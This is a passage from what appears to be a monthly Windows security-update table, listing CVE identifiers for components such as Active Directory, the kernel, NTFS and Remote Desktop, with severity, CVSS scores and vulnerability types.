Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  